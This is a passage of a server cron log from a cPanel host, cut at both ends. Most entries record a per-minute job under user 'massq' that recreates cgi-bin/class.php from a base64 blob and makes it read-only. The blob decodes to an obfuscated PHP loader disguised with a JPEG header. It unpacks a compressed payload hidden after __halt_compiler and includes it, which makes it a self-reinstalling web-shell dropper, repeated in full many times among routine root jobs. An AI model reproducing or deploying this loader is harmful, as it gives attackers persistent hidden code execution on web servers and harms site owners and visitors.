"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 09:18:01 server CROND[1073]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 09:19:01 server CROND[1196]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 09:20:01 server CROND[1318]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 09:20:01 server CROND[1317]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 09:20:01 server CROND[1319]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 09:20:01 server CROND[1320]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  8 09:20:01 server CROND[1322]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 09:21:01 server CROND[1443]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 09:22:01 server CROND[1499]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 09:23:01 server CROND[1551]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 09:24:01 server CROND[1601]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 09:25:01 server CROND[1765]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 09:25:01 server CROND[1766]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 09:25:01 server CROND[1767]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 09:26:01 server CROND[1877]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 09:27:01 server CROND[1939]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 09:27:01 server CROND[1940]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  8 09:28:01 server CROND[1997]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 09:29:01 server CROND[2050]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 09:30:01 server CROND[2207]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 09:30:01 server CROND[2206]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 09:30:01 server CROND[2208]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 09:30:01 server CROND[2213]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7